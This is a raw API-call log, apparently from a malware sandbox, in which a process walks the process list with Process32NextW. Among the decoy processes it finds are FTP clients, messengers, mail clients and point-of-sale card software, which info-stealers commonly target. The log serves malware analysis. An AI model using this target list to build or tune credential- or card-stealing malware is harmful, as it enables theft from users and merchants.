	[0196.884] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.887] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.891] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.893] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.897] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.900] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.903] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0196.906] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0196.909] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0196.912] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0196.915] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.918] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0197.197] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.201] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0197.205] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.208] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0197.211] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0197.214] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0197.217] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0197.221] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0197.224] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0197.227] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0197.230] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0197.446] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0197.478] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0197.481] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0197.484] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0197.487] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0197.490] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0197.493] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0197.496] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0197.499] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0197.508] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0197.890] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0197.893] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0197.896] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0197.899] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0197.903] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0197.905] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0197.909] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0197.912] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0197.915] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0197.917] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0197.920] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0197.923] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0197.926] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0198.155] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0198.158] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0198.161] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0198.164] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0198.167] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0198.171] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0198.174] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0198.177] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0198.180] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0198.183] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0198.186] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0198.188] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0198.191] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0198.195] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0198.445] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0198.527] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0198.530] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0198.533] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0198.536] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0198.539] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0198.543] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0198.546] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0198.549] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0198.552] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0198.555] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0198.737] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0198.740] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0198.743] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0198.746] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0198.749] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0198.754] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0198.757] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0198.761] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0198.764] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0198.767] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
